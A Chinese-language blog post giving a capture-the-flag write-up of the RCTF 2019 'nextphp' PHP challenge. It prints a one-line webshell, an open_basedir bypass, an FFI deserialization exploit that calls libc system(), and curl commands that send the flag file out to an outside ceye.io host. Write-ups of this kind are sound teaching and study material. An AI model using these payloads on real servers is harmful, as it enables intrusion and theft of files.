nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

[RCTF 2019]nextphp

代码审计和思路

<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

竟然可以任意执行命令,这个一看就不简单,先看一下phpinfo,果不其然,禁了许多函数,无疑是一个绕过disable_function的题,我们开始判断是哪种,看了php版本,7.4,大概确定是ffi
Bypass disable_functions的方法无非就那几种。黑名单是无法绕过了,因为所有PHP命令执行函数都被严格过滤了;系统是Linux,不存在COM组件绕过;过滤了dl()函数,无法通过扩展库绕过;过滤了mail和putenv等函数,无法通过LD_PRELOAD方式绕过;过滤了pcntl相关函数,无法通过该组件绕过;系统没有ImageMagick组件等等……

我们先写入一句话木马,这里需要利用file_put_contents('1.php','<?php eval($_POST["pass"]);?>');然后我们发现还有一个文件preload.php

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    //可以进行函数执行
    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        //array_merge把两个数组合并为一个数组
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        
        $this->data = unserialize($payload);
        $this->run();
    }
    //结果输出
    public function __get ($key) {
        //如果$key为ret,就可以输出函数执行返回的结果
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

当然这里我们还可以通过其他方法获取这个文件
?a=print_r(scandir('./'));可以发现当前目录的文件,其他目录的看不了,因为有 open_basedir限制,不过可以通过
glob://伪协议来Bypass open_basedir读取根目录有啥内容,发送之前先进行URL编码:

$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};

可以发现flag文件
当然怎么看文件内容方法很多

?a=show_source('preload.php');
?a=echo(readfile('preload.php'));
?a=print_r(readfile('preload.php'));
?a=echo(file_get_contents('preload.php'));
?a=print_r(file_get_contents('preload.php')); (echo和print别忘)

一些解题的知识

FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。简单地说,就是一项让你在PHP里能够调用C代码的技术。

FFI的使用分为声明和调用两个部分。

下面看个简单的使用Demo,从共享库中调用printf()函数:

<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
    "int printf(const char *format, ...);", 
    "libc.so.6");
// call C's printf()
$ffi->printf("Hello %s!\n", "world");
?>

如果ffi.cdef没有第二个参数,会在全局查找,第一个参数所声明的符号。意思就是其在不传入第二个参数时,可以直接调用php代码。

对于preload.php,我们发现类有PHP Serializable接口,
实现此接口的类将不再支持__sleep()和__wakeup(),当类的实例被序列化时将自动调用serialize方法,并且不会调用 __destruct()或有其他影响。当类的实例被反序列化时,将调用unserialize()方法,并且不执行__construct()。
如果一个类同时实现了Serializable和__Serialize()/__Unserialize(),则序列化将倾向于使用新机制,而非序列化则可以使用其中一种机制,具体取决于使用的是C(Serializable)还是O(Uu unserialize)格式。因此,以C格式编码的旧的序列化字符串仍然可以解码,而新的字符串将以O格式生成。也就是同时纯在会先触发__serialize和__unserialize,而触发他们会被直接抛出,所以编写exp,需要删掉。

利用思路

目的就是利用c库里的system函数,所以我们需要创建FFi::cdef的方法,

private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

正好run函数就是一个动态调用的过程,所以我们只需要给func赋值为FFI::cdef,arg为它的参数,赋值为我们需要使用的函数int system(char *command);,因为前面也说了需要删掉冲突的方法,然后需要触发run,就要反序列化,我们index界面就可以实现
最终的exp:

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(char *command);'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function serialize () {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }
}

echo(serialize(new A()));
?>

得到如下序列化内容:

1
C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}
构造exp如下

$a=unserialize('C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}');$a->ret->system('curl xx.ceye.io/?c=`cat /flag|base64`');

这里利用index.php的eval来限制执行反序列化操作,然后触发run()函数来调用FFI::cdef声明C中的system()函数
现在就可以使用system函数了,$this->data['ret'] = $this->data['func']($this->data['arg']);这个函数放到了ret里面,调用

$a->ret->system('curl xx.ceye.io/?c=`cat /flag`');

执行命令,因为还是没有回显,我们需要外带或者放在tmp目录的文件里面

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » [RCTF 2019]nextphp

评论